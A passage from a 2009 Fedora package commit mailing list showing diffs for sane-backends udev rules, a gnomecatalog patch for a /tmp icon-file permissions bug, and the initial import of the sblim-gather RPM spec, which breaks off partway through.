Subject: rpms/sane-backends/devel sane-backends-1.0.20-udev.patch, NONE,
	1.1 sane-backends-1.0.20-rpath.patch, 1.2,
	1.3 sane-backends.spec, 1.132, 1.133
Message-ID: <20091022101747.3D04B11C008C@cvs1.fedora.phx.redhat.com>

Author: nphilipp

Update of /cvs/pkgs/rpms/sane-backends/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13332

Modified Files:
	sane-backends-1.0.20-rpath.patch sane-backends.spec 
Added Files:
	sane-backends-1.0.20-udev.patch 
Log Message:
ship adapted udev rules from F-12 on (#512516)
don't require pam anymore


sane-backends-1.0.20-udev.patch:
 sane-desc.c |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE sane-backends-1.0.20-udev.patch ---
commit 5e153e8354ee1cba5d7cd4a532f671810186a6a1
Author: Nils Philippsen <nils at redhat.com>
Date:   Thu Oct 22 11:19:22 2009 +0200

    patch: udev
    
    Squashed commit of the following:
    
    commit fe874d6f9873598e8bcd9201508bc2c89365e821
    Author: Nils Philippsen <nils at redhat.com>
    Date:   Thu Oct 22 11:16:16 2009 +0200
    
        adapt generated udev rules for Fedora

diff --git a/tools/sane-desc.c b/tools/sane-desc.c
index c317700..b6638a4 100644
--- a/tools/sane-desc.c
+++ b/tools/sane-desc.c
@@ -3488,7 +3488,7 @@ print_udev (void)
   printf ("SUBSYSTEMS!=\"scsi\", GOTO=\"libsane_scsi_rules_end\"\n\n");
   printf ("LABEL=\"libsane_scsi_rules_begin\"\n");
   printf ("# Generic: SCSI device type 6 indicates a scanner\n");
-  printf ("KERNEL==\"sg[0-9]*\", NAME=\"%%k\", ATTRS{type}==\"6\", MODE=\"%s\", GROUP=\"%s\"\n", DEVMODE, DEVGROUP);
+  printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"6\", ENV{libsane_matched}=\"yes\"\n");
   printf ("# Some scanners advertise themselves as SCSI device type 3\n");
 
   while (scsiid)
@@ -3521,8 +3521,8 @@ print_udev (void)
 	    }
         }
       printf ("\n");
-      printf ("KERNEL==\"sg[0-9]*\", NAME=\"%%k\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", MODE=\"%s\", GROUP=\"%s\"\n",
-	      scsiid->scsi_vendor_id, scsiid->scsi_product_id, DEVMODE, DEVGROUP);
+      printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", ENV{libsane_matched}=\"yes\"\n",
+	      scsiid->scsi_vendor_id, scsiid->scsi_product_id);
       scsiid = scsiid->next;
     }
   printf ("LABEL=\"libsane_scsi_rules_end\"\n\n");

sane-backends-1.0.20-rpath.patch:
 acinclude.m4 |   36 +++++++++++++++++++++++-------------
 1 file changed, 23 insertions(+), 13 deletions(-)

Index: sane-backends-1.0.20-rpath.patch
===================================================================
RCS file: /cvs/pkgs/rpms/sane-backends/devel/sane-backends-1.0.20-rpath.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sane-backends-1.0.20-rpath.patch	31 Aug 2009 16:04:19 -0000	1.2
+++ sane-backends-1.0.20-rpath.patch	22 Oct 2009 10:17:45 -0000	1.3
@@ -1,8 +1,8 @@
-commit 1249be5ecbd635feeb880b2c60582b34bc04a798
+commit fe1456e2431a3b8bd27aadc5bbc6998ebc8cd00c
 Author: Nils Philippsen <nils at redhat.com>
 Date:   Mon Aug 31 16:38:23 2009 +0200
 
-    path: rpath
+    patch: rpath
     
     Squashed commit of the following:
     


Index: sane-backends.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sane-backends/devel/sane-backends.spec,v
retrieving revision 1.132
retrieving revision 1.133
diff -u -p -r1.132 -r1.133
--- sane-backends.spec	31 Aug 2009 16:04:19 -0000	1.132
+++ sane-backends.spec	22 Oct 2009 10:17:45 -0000	1.133
@@ -1,7 +1,21 @@
+# Use the following --with/--without <option> switches to control how the
+# package will be built:
+#
+# udev: ship rules for udev (default for Fedora >= 12, RHEL >= 6)
+# hal:  ship rules for hal (default for Fedora < 12, RHEL < 6)
+
+%if 0%{?fedora}%{?rhel} == 0 || 0%{?fedora} >= 12 || 0%{?rhel} >= 6
+%bcond_without udev
+%bcond_with hal
+%else
+%bcond_with udev
+%bcond_without hal
+%endif
+
 Summary: Scanner access software
 Name: sane-backends
 Version: 1.0.20
-Release: 7%{?dist}
+Release: 8%{?dist}
 # lib/ is LGPLv2+, backends are GPLv2+ with exceptions
 # Tools are GPLv2+, docs are public domain
 # see LICENSE for details
@@ -14,8 +28,9 @@ Patch0: sane-backends-1.0.20-rpath.patch
 Patch1: sane-backends-1.0.20-pkgconfig.patch
 Patch2: sane-backends-1.0.20-open-macro.patch
 Patch3: sane-backends-1.0.20-hal.patch
-Patch4: sane-backends-1.0.20-man-utf8.patch
-Patch5: sane-backends-1.0.20-epson-expression800.patch
+Patch4: sane-backends-1.0.20-udev.patch
+Patch5: sane-backends-1.0.20-man-utf8.patch
+Patch6: sane-backends-1.0.20-epson-expression800.patch
 Patch10: sane-backends-1.0.20-autoreconf.patch.bz2
 URL: http://www.sane-project.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%__id_u -n)
@@ -26,8 +41,12 @@ BuildRequires: libjpeg-devel
 BuildRequires: libtiff-devel
 BuildRequires: gettext
 BuildRequires: gphoto2-devel
-Requires: pam >= 0.78-2
+%if %{with udev}
+Requires: udev >= 143
+%endif
+%if %{with hal}
 Requires: hal >= 0.4.0
+%endif
 
 %description
 Scanner Access Now Easy (SANE) is a universal scanner interface.  The
@@ -80,8 +99,9 @@ want to access digital cameras.
 %patch1 -p1 -b .pkgconfig
 %patch2 -p1 -b .open-macro
 %patch3 -p1 -b .hal
-%patch4 -p1 -b .man-utf8
-%patch5 -p1 -b .epson-expression800
+%patch4 -p1 -b .udev
+%patch5 -p1 -b .man-utf8
+%patch6 -p1 -b .epson-expression800
 %patch10 -p1 -b .autoreconf
 
 %build
@@ -103,12 +123,19 @@ rm -f %{buildroot}%{_mandir}/man1/gamma4
 rm -f %{buildroot}%{_libdir}/sane/*.a %{buildroot}%{_libdir}/*.a
 rm -f %{buildroot}%{_libdir}/libsane*.la %{buildroot}%{_libdir}/sane/*.la
 
+%if %{with udev}
+mkdir -p %{buildroot}/lib/udev/rules.d
+install -m 0644 tools/udev/libsane.rules %{buildroot}/lib/udev/rules.d/65-libsane.rules
+%endif
+
+%if %{with hal}
 mkdir -p %{buildroot}/%{_datadir}/hal/fdi/information/20thirdparty
 mkdir -p %{buildroot}/%{_datadir}/hal/fdi/policy/20thirdparty
 install -m 0644 tools/hal/libsane.fdi %{buildroot}/%{_datadir}/hal/fdi/information/20thirdparty/19-libsane.fdi
 install -m 0644 tools/hal/libsane-policy.fdi %{buildroot}/%{_datadir}/hal/fdi/policy/20thirdparty/19-libsane.fdi
 mkdir -p %{buildroot}/%{_libexecdir}
 install -m 0755 %{SOURCE2} %{buildroot}/%{_libexecdir}/hal-usb-scanner-add
+%endif
 
 %find_lang %name
 
@@ -124,9 +151,14 @@ rm -rf %{buildroot}
 %dir /etc/sane.d
 %dir /etc/sane.d/dll.d
 %config(noreplace) /etc/sane.d/*.conf
+%if %{with udev}
+/lib/udev/rules.d/65-libsane.rules
+%endif
+%if %{with hal}
 %{_datadir}/hal/fdi/information/20thirdparty/*.fdi
 %{_datadir}/hal/fdi/policy/20thirdparty/*.fdi
 %{_libexecdir}/hal-usb-scanner-add
+%endif
 %{_mandir}/*/*
 %{_datadir}/pixmaps/sane.png
 
@@ -157,6 +189,10 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/sane-backends.pc
 
 %changelog
+* Thu Oct 22 2009 Nils Philippsen <nils at redhat.com> - 1.0.20-8
+- ship adapted udev rules from F-12 on (#512516)
+- don't require pam anymore
+
 * Fri Aug 31 2009 Nils Philippsen <nils at redhat.com> - 1.0.20-7
 - fix --enable-rpath
 



From nphilipp at fedoraproject.org  Thu Oct 22 10:19:14 2009
From: nphilipp at fedoraproject.org (Nils Philippsen)
Date: Thu, 22 Oct 2009 10:19:14 +0000 (UTC)
Subject: rpms/sane-backends/F-12 sane-backends-1.0.20-udev.patch, NONE,
	1.1 sane-backends-1.0.20-rpath.patch, 1.2,
	1.3 sane-backends.spec, 1.132, 1.133
Message-ID: <20091022101914.650F111C008C@cvs1.fedora.phx.redhat.com>

Author: nphilipp

Update of /cvs/pkgs/rpms/sane-backends/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13776

Modified Files:
	sane-backends-1.0.20-rpath.patch sane-backends.spec 
Added Files:
	sane-backends-1.0.20-udev.patch 
Log Message:
ship adapted udev rules from F-12 on (#512516)
don't require pam anymore


sane-backends-1.0.20-udev.patch:
 sane-desc.c |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE sane-backends-1.0.20-udev.patch ---
commit 5e153e8354ee1cba5d7cd4a532f671810186a6a1
Author: Nils Philippsen <nils at redhat.com>
Date:   Thu Oct 22 11:19:22 2009 +0200

    patch: udev
    
    Squashed commit of the following:
    
    commit fe874d6f9873598e8bcd9201508bc2c89365e821
    Author: Nils Philippsen <nils at redhat.com>
    Date:   Thu Oct 22 11:16:16 2009 +0200
    
        adapt generated udev rules for Fedora

diff --git a/tools/sane-desc.c b/tools/sane-desc.c
index c317700..b6638a4 100644
--- a/tools/sane-desc.c
+++ b/tools/sane-desc.c
@@ -3488,7 +3488,7 @@ print_udev (void)
   printf ("SUBSYSTEMS!=\"scsi\", GOTO=\"libsane_scsi_rules_end\"\n\n");
   printf ("LABEL=\"libsane_scsi_rules_begin\"\n");
   printf ("# Generic: SCSI device type 6 indicates a scanner\n");
-  printf ("KERNEL==\"sg[0-9]*\", NAME=\"%%k\", ATTRS{type}==\"6\", MODE=\"%s\", GROUP=\"%s\"\n", DEVMODE, DEVGROUP);
+  printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"6\", ENV{libsane_matched}=\"yes\"\n");
   printf ("# Some scanners advertise themselves as SCSI device type 3\n");
 
   while (scsiid)
@@ -3521,8 +3521,8 @@ print_udev (void)
 	    }
         }
       printf ("\n");
-      printf ("KERNEL==\"sg[0-9]*\", NAME=\"%%k\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", MODE=\"%s\", GROUP=\"%s\"\n",
-	      scsiid->scsi_vendor_id, scsiid->scsi_product_id, DEVMODE, DEVGROUP);
+      printf ("KERNEL==\"sg[0-9]*\", ATTRS{type}==\"3\", ATTRS{vendor}==\"%s\", ATTRS{model}==\"%s\", ENV{libsane_matched}=\"yes\"\n",
+	      scsiid->scsi_vendor_id, scsiid->scsi_product_id);
       scsiid = scsiid->next;
     }
   printf ("LABEL=\"libsane_scsi_rules_end\"\n\n");

sane-backends-1.0.20-rpath.patch:
 acinclude.m4 |   36 +++++++++++++++++++++++-------------
 1 file changed, 23 insertions(+), 13 deletions(-)

Index: sane-backends-1.0.20-rpath.patch
===================================================================
RCS file: /cvs/pkgs/rpms/sane-backends/F-12/sane-backends-1.0.20-rpath.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sane-backends-1.0.20-rpath.patch	31 Aug 2009 16:04:19 -0000	1.2
+++ sane-backends-1.0.20-rpath.patch	22 Oct 2009 10:19:14 -0000	1.3
@@ -1,8 +1,8 @@
-commit 1249be5ecbd635feeb880b2c60582b34bc04a798
+commit fe1456e2431a3b8bd27aadc5bbc6998ebc8cd00c
 Author: Nils Philippsen <nils at redhat.com>
 Date:   Mon Aug 31 16:38:23 2009 +0200
 
-    path: rpath
+    patch: rpath
     
     Squashed commit of the following:
     


Index: sane-backends.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sane-backends/F-12/sane-backends.spec,v
retrieving revision 1.132
retrieving revision 1.133
diff -u -p -r1.132 -r1.133
--- sane-backends.spec	31 Aug 2009 16:04:19 -0000	1.132
+++ sane-backends.spec	22 Oct 2009 10:19:14 -0000	1.133
@@ -1,7 +1,21 @@
+# Use the following --with/--without <option> switches to control how the
+# package will be built:
+#
+# udev: ship rules for udev (default for Fedora >= 12, RHEL >= 6)
+# hal:  ship rules for hal (default for Fedora < 12, RHEL < 6)
+
+%if 0%{?fedora}%{?rhel} == 0 || 0%{?fedora} >= 12 || 0%{?rhel} >= 6
+%bcond_without udev
+%bcond_with hal
+%else
+%bcond_with udev
+%bcond_without hal
+%endif
+
 Summary: Scanner access software
 Name: sane-backends
 Version: 1.0.20
-Release: 7%{?dist}
+Release: 8%{?dist}
 # lib/ is LGPLv2+, backends are GPLv2+ with exceptions
 # Tools are GPLv2+, docs are public domain
 # see LICENSE for details
@@ -14,8 +28,9 @@ Patch0: sane-backends-1.0.20-rpath.patch
 Patch1: sane-backends-1.0.20-pkgconfig.patch
 Patch2: sane-backends-1.0.20-open-macro.patch
 Patch3: sane-backends-1.0.20-hal.patch
-Patch4: sane-backends-1.0.20-man-utf8.patch
-Patch5: sane-backends-1.0.20-epson-expression800.patch
+Patch4: sane-backends-1.0.20-udev.patch
+Patch5: sane-backends-1.0.20-man-utf8.patch
+Patch6: sane-backends-1.0.20-epson-expression800.patch
 Patch10: sane-backends-1.0.20-autoreconf.patch.bz2
 URL: http://www.sane-project.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%__id_u -n)
@@ -26,8 +41,12 @@ BuildRequires: libjpeg-devel
 BuildRequires: libtiff-devel
 BuildRequires: gettext
 BuildRequires: gphoto2-devel
-Requires: pam >= 0.78-2
+%if %{with udev}
+Requires: udev >= 143
+%endif
+%if %{with hal}
 Requires: hal >= 0.4.0
+%endif
 
 %description
 Scanner Access Now Easy (SANE) is a universal scanner interface.  The
@@ -80,8 +99,9 @@ want to access digital cameras.
 %patch1 -p1 -b .pkgconfig
 %patch2 -p1 -b .open-macro
 %patch3 -p1 -b .hal
-%patch4 -p1 -b .man-utf8
-%patch5 -p1 -b .epson-expression800
+%patch4 -p1 -b .udev
+%patch5 -p1 -b .man-utf8
+%patch6 -p1 -b .epson-expression800
 %patch10 -p1 -b .autoreconf
 
 %build
@@ -103,12 +123,19 @@ rm -f %{buildroot}%{_mandir}/man1/gamma4
 rm -f %{buildroot}%{_libdir}/sane/*.a %{buildroot}%{_libdir}/*.a
 rm -f %{buildroot}%{_libdir}/libsane*.la %{buildroot}%{_libdir}/sane/*.la
 
+%if %{with udev}
+mkdir -p %{buildroot}/lib/udev/rules.d
+install -m 0644 tools/udev/libsane.rules %{buildroot}/lib/udev/rules.d/65-libsane.rules
+%endif
+
+%if %{with hal}
 mkdir -p %{buildroot}/%{_datadir}/hal/fdi/information/20thirdparty
 mkdir -p %{buildroot}/%{_datadir}/hal/fdi/policy/20thirdparty
 install -m 0644 tools/hal/libsane.fdi %{buildroot}/%{_datadir}/hal/fdi/information/20thirdparty/19-libsane.fdi
 install -m 0644 tools/hal/libsane-policy.fdi %{buildroot}/%{_datadir}/hal/fdi/policy/20thirdparty/19-libsane.fdi
 mkdir -p %{buildroot}/%{_libexecdir}
 install -m 0755 %{SOURCE2} %{buildroot}/%{_libexecdir}/hal-usb-scanner-add
+%endif
 
 %find_lang %name
 
@@ -124,9 +151,14 @@ rm -rf %{buildroot}
 %dir /etc/sane.d
 %dir /etc/sane.d/dll.d
 %config(noreplace) /etc/sane.d/*.conf
+%if %{with udev}
+/lib/udev/rules.d/65-libsane.rules
+%endif
+%if %{with hal}
 %{_datadir}/hal/fdi/information/20thirdparty/*.fdi
 %{_datadir}/hal/fdi/policy/20thirdparty/*.fdi
 %{_libexecdir}/hal-usb-scanner-add
+%endif
 %{_mandir}/*/*
 %{_datadir}/pixmaps/sane.png
 
@@ -157,6 +189,10 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/sane-backends.pc
 
 %changelog
+* Thu Oct 22 2009 Nils Philippsen <nils at redhat.com> - 1.0.20-8
+- ship adapted udev rules from F-12 on (#512516)
+- don't require pam anymore
+
 * Fri Aug 31 2009 Nils Philippsen <nils at redhat.com> - 1.0.20-7
 - fix --enable-rpath
 



From mwiriadi at fedoraproject.org  Thu Oct 22 10:38:23 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Thu, 22 Oct 2009 10:38:23 +0000 (UTC)
Subject: rpms/gnomecatalog/F-12 gnomecatalog-fstypes.patch, NONE,
	1.1 gnomecatalog.spec, 1.7, 1.8 import.log, 1.1, 1.2
Message-ID: <20091022103823.95DB811C008C@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/gnomecatalog/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19307/F-12

Modified Files:
	gnomecatalog.spec import.log 
Added Files:
	gnomecatalog-fstypes.patch 
Log Message:
Closes bug bz 509237 which relates to permissions for /tmp



gnomecatalog-fstypes.patch:
 fstypes.py |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE gnomecatalog-fstypes.patch ---
--- gnomecatalog-0.3.4.2-orig/gnomecatalog/fstypes.py	2008-01-17 05:47:02.000000000 +0900
+++ gnomecatalog-0.3.4.2/gnomecatalog/fstypes.py	2009-10-22 07:53:01.000000000 +0800
@@ -144,8 +144,9 @@
 			self.icon = icon
 
 		if type(icon) == buffer:
-			open('/tmp/tmp_gnomecatalog_icon.png', 'wb').write(icon)
-			self.icon =  gtk.gdk.pixbuf_new_from_file_at_size("/tmp/tmp_gnomecatalog_icon.png", 24, 24)
+			tmp_icon_filename = "/tmp/tmp_gnomecatalog_icon.png."+str(os.getuid())
+                        open(tmp_icon_filename, 'wb').write(icon)
+                        self.icon =  gtk.gdk.pixbuf_new_from_file_at_size(tmp_icon_filename, 24, 24)
 
 		if not db:
 			self._data_loaded = True


Index: gnomecatalog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnomecatalog/F-12/gnomecatalog.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- gnomecatalog.spec	25 Jul 2009 00:52:15 -0000	1.7
+++ gnomecatalog.spec	22 Oct 2009 10:38:21 -0000	1.8
@@ -9,17 +9,11 @@ Group:          Applications/File
 License:        GPLv3
 URL:            http://gnomecatalog.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
+Patch0:         gnomecatalog-fstypes.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:  sqlite-devel, desktop-file-utils, python-devel, gettext
+BuildRequires:  sqlite-devel, desktop-file-utils, python-devel, gettext, python-setuptools-devel
 Requires:       gnome-desktop, python-sqlite2, pygtk2, python-vorbis, python-kaa-metadata
 Buildarch:      noarch
-# Must have setuptools to build the package
-# The build portions moved to a subpackage in F-8
-%if 0%{?fedora} >= 9
-BuildRequires: python-setuptools-devel
-%else
-BuildRequires: python-setuptools
-%endif
 
 %description
 Catalog your dvds/cds and files in your hard disk. Generate thumbnails 
@@ -28,7 +22,8 @@ and saves it in the database files. Save
 then you can search in the metatada of music and images.
 
 %prep
-%setup -q -n %{name}-%{version}/
+%setup -q 
+%patch0 -p1
 
 %build
 CFLAGS="$RPM_OPT_FLAGS" %{__python} -c 'import setuptools; execfile("setup.py")' build
@@ -62,8 +57,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/icons/hicolor/48x48/mimetypes/gnome-mime-application-x-gcatalog.png
 
 %changelog
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.4.2-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Thu Oct 22 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 0.3.4.2-2
+- Patch for permissions added thanks to Alexander Ovcharenko
+- Closes bug bz 509237
+- Clean up the spec file removing the F9 python-setuptools buildrequires
 
 * Sat Jun 20 2009 Marc Wiriadiastra <marc at mwiriadi.id.au> - 0.3.4.2-1
 - Update for new upstream which fixes bug listed below.


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/gnomecatalog/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	20 Jun 2009 05:08:57 -0000	1.1
+++ import.log	22 Oct 2009 10:38:21 -0000	1.2
@@ -1 +1,2 @@
 gnomecatalog-0_3_4_2-1_fc11:HEAD:gnomecatalog-0.3.4.2-1.fc11.src.rpm:1245474483
+gnomecatalog-0_3_4_2-2_fc12:F-12:gnomecatalog-0.3.4.2-2.fc12.src.rpm:1256207811



From vcrhonek at fedoraproject.org  Thu Oct 22 10:40:38 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 10:40:38 +0000 (UTC)
Subject: rpms/sblim-gather/devel gather-config.h, NONE,
	1.1 gather-config.h.prepend, NONE, 1.1 import.log, NONE,
	1.1 sblim-gather.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091022104038.8B91611C02A2@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-gather/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20152/devel

Modified Files:
	.cvsignore sources 
Added Files:
	gather-config.h gather-config.h.prepend import.log 
	sblim-gather.spec 
Log Message:
Initial import (#469002).


--- NEW FILE gather-config.h ---
/* This file is here to prevent a file conflict on multiarch systems.  A
 * conflict will frequently occur because arch-specific build-time
 * configuration options are stored (and used, so they can't just be stripped
 * out) in gather-config.h.  The original gather-config.h has been renamed.
 * DO NOT INCLUDE THE NEW FILE DIRECTLY -- ALWAYS INCLUDE THIS ONE INSTEAD. */

#ifdef gather_config_multilib_redirection_h
#error "Do not define gather_config_multilib_redirection_h!"
#endif
#define gather_config_multilib_redirection_h

#if defined(__i386__)
#include "sblim-gather-i386.h"
#elif defined(__ia64__)
#include "sblim-gather-ia64.h"
#elif defined(__powerpc64__)
#include "sblim-gather-ppc64.h"
#elif defined(__powerpc__)
#include "sblim-gather-ppc.h"
#elif defined(__s390x__)
#include "sblim-gather-s390x.h"
#elif defined(__s390__)
#include "sblim-gather-s390.h"
#elif defined(__x86_64__)
#include "sblim-gather-x86_64.h"
#else
#error "This sblim-gather-devel package does not work your architecture?"
#endif

#undef gather_config_multilib_redirection_h


--- NEW FILE gather-config.h.prepend ---
/* Prepended at sblim package build-time.  Don't include this file directly,
 * use "gather-config.h" instead. */

#ifndef gather_config_multilib_redirection_h
#error "Don't include this file directly, use <gather/gather-config.h> instead!"
#endif



--- NEW FILE import.log ---
sblim-gather-2_1_9-1_fc10:HEAD:sblim-gather-2.1.9-1.fc10.src.rpm:1256208013


--- NEW FILE sblim-gather.spec ---
%define sblim_testsuite_version 1.2.4
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.6.1-1

Name:           sblim-gather
Version:        2.1.9
Release:        1%{?dist}
Summary:        SBLIM Gatherer

Group:          Applications/System
License:        CPL
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2
Source1:        gather-config.h.prepend
Source2:        gather-config.h
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: sblim-cmpi-devel
BuildRequires: sblim-cmpi-base-devel
BuildRequires: tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires: libsysfs-devel
Requires:      tog-pegasus >= %{tog_pegasus_version}

%description
Standards Based Linux Instrumentation for Manageability
Performance Data Gatherer Base.
This package contains the agents and control programs for gathering
and providing performance data.

%package        provider
Summary:        SBLIM Gatherer Provider
Group:          Applications/System
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-cmpi-base
Requires:       tog-pegasus

%description    provider
The CIM (Common Information Model) Providers for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Gatherer.

%package        devel
Summary:        SBLIM Gatherer Development Support
Group:          Development/Libraries
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description    devel
This package is needed to develop new plugins for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Gatherer.

%package        test
Summary:        SBLIM Gatherer Testcase Files
Group:          Applications/System
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name}-provider = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description    test
Gatherer Testcase Files for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS"
%endif
%configure TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/gather/*plug/*a
# remove non-devel .so's from libdir
find $RPM_BUILD_ROOT/%{_libdir} -maxdepth 1 -name "*.so" ! -name libgatherutil.so \
        -exec rm {} \;

# remove non-devel .so's from libdir
# copy extra docs
#mkdir -p $RPM_BUILD_ROOT/%{_datadir}/doc/%{name}-%{version}
#cp -fp README.{OpenPegasus,RedHat} $RPM_BUILD_ROOT/%{_datadir}/doc/%{name}-%{version}/
# Install a redirection so that the arch-specific autoconf stuff continues to
# work but doesn't create multilib conflicts.
cat %{SOURCE1} \
        $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config.h > \
        $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config-%{_arch}.h
chmod 644 $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config.h
install -m644 %{SOURCE2} $RPM_BUILD_ROOT/%{_includedir}/gather/

# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/*.conf
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
%docdir %{_datadir}/doc/%{name}-%{version}
%{_bindir}/*
%{_sbindir}/*
%{_datadir}/doc/%{name}-%{version}
%{_localstatedir}/run/gather
%{_libdir}/lib[^O]*.so.*
%dir %{_libdir}/gather
%{_libdir}/gather/mplug
%{_libdir}/gather/rplug

%files provider
%defattr(-,root,root,-)
%{_libdir}/gather/cplug
%{_libdir}/libOSBase*.so.*
#%{_libdir}/libOSBase_MetricUtil.so
%{_libdir}/cmpi
%{_datadir}/%{name}

%files devel
%defattr(-,root,root,-)
%{_libdir}/lib[^O]*.so
%{_includedir}/gather

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite/cim/Linux*
%{_datadir}/sblim-testsuite/system/linux/Linux*
%{_datadir}/sblim-testsuite/system/linux/gather-systemname.sh
%{_datadir}/sblim-testsuite/test-gather.sh

%define GATHER_SCHEMA %{_datadir}/%{name}/Linux_Metric.mof %{_datadir}/%{name}/Linux_IPProtocolEndpointMetric.mof %{_datadir}/%{name}/Linux_LocalFileSystemMetric.mof %{_datadir}/${name}/Linux_NetworkPortMetric.mof %{_datadir}/%{name}/Linux_OperatingSystemMetric.mof %{_datadir}/%{name}/Linux_ProcessorMetric.mof %{_datadir}/%{name}/Linux_UnixProcessMetric.mof %{_datadir}/%{name}/Linux_XenMetric.mof %{_datadir}/%{name}/Linux_zECKDMetric.mof %{_datadir}/%{name}/Linux_zCECMetric.mof %{_datadir}/%{name}/Linux_zLPARMetric.mof %{_datadir}/%{name}/Linux_zCHMetric.mof
%define GATHER_REGISTRATION %{_datadir}/%{name}/Linux_IPProtocolEndpointMetric.registration %{_datadir}/%{name}/Linux_LocalFileSystemMetric.registration %{_datadir}/%{name}/Linux_Metric.registration %{_datadir}/%{name}/Linux_NetworkPortMetric.registration %{_datadir}/%{name}/Linux_OperatingSystemMetric.registration %{_datadir}/%{name}/Linux_ProcessorMetric.registration %{_datadir}/%{name}/Linux_UnixProcessMetric.registration %{_datadir}/%{name}/Linux_XenMetric.registration %{_datadir}/%{name}/Linux_zECKDMetric.registration %{_datadir}/%{name}/Linux_zCECMetric.registration %{_datadir}/%{name}/Linux_zLPARMetric.registration %{_datadir}/%{name}/Linux_zCHMetric.registration

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%pre provider
if [ $1 -gt 1 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus -d \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail upgrade!
fi

%post provider
/sbin/ldconfig
if [ $1 -ge 1 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail install!
fi

%preun provider
